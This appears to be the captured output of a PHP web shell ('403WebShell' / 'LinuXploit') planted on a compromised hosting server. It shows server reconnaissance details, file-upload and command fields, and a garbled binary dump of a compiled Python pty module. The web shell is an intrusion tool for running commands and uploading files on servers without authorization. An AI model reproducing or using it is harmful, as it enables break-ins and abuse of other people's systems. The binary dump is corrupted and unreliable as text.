$plugin = <<403WebShell
403Webshell
Server IP : 147.79.119.235  /  Your IP : 216.73.216.214
Web Server : LiteSpeed
System : Linux fr-int-web1513.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u766115111 ( 766115111)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/python3.9/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/__pycache__/pty.cpython-39.opt-2.pyc
a

�DOg��@s�ddlmZddlZddlZddlZgd�ZdZdZdZdZdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�Zdd�Zeefdd�Zeefdd�ZdS)�)�selectN)�openpty�fork�spawn��c	Cs<z
t��WSttfy Yn0t�\}}t|�}||fS�N)�osr�AttributeError�OSError�_open_terminal�
slave_open)�	master_fd�
slave_name�slave_fd�r�/usr/lib64/python3.9/pty.pyrs

rc	CsJzt��\}}Wnttfy&Yn0t�|�}t�|�||fSt�Sr)r	rr
r�ttyname�closer)rrrrrr�master_open"s

rc
CsldD]Z}dD]P}d||}zt�|tj�}WntyDYqYn0|d||fSqtd��dS)NZpqrstuvwxyzPQRSTZ0123456789abcdefz/dev/ptyz/dev/ttyzout of pty devices)r	�open�O_RDWRr)�x�yZpty_name�fdrrrr2s
rcCsnt�|tj�}zddlm}m}Wnty8|YS0z|||d�|||d�WntyhYn0|S)Nr)�ioctl�I_PUSHZptemZldterm)r	rrZfcntlrr�ImportErrorr)Ztty_name�resultrrrrrr
>s
r
c	Cs�zt��\}}Wnttfy&Yn20|tkrPzt��WntyNYn0||fSt�\}}t��}|tkr�t��t�|�t�	|t
�t�	|t�t�	|t�|tkr�t�|�t�
t�t�tj�}t�|�n
t�|�||fSr)r	�forkptyr
r�CHILD�setsidrrr�dup2�STDIN_FILENO�
STDOUT_FILENO�
STDERR_FILENOrrr)�pidrrrZtmp_fdrrrrPs0



rcCs"|rt�||�}||d�}qdSr)r	�write)r�data�nrrr�_writenxsr*cCst�|d�S)Ni)r	�read)rrrr�_read~sr,cCsv|tg}t|gg�\}}}||vrF||�}|s:|�|�nt�t|�t|vr|t�}|sf|�t�qt||�qdSr)r#r�remover	r'r$r*)r�master_read�
stdin_read�fdsZrfdsZwfdsZxfdsr(rrr�_copy�sr1cCs�t|�td�kr|f}t�d|�t�\}}|tkrJtj|dg|�R�zt�t	�}t�
t	�d}Wntjy~d}Yn0zt|||�Wn&t
y�|r�t�t	tj|�Yn0t�|�t�|d�dS)N�z	pty.spawnrr)�type�sys�auditrr r	�execlp�ttyZ	tcgetattrr#Zsetraw�errorr1rZ	tcsetattrZ	TCSAFLUSHr�waitpid)�argvr.r/r&r�modeZrestorerrrr�s&




r)rr	r4r7�__all__r#r$r%r rrrr
rr*r,r1rrrrr�<module>	s"(

Youez - 2016 - github.com/yon3zu
LinuXploit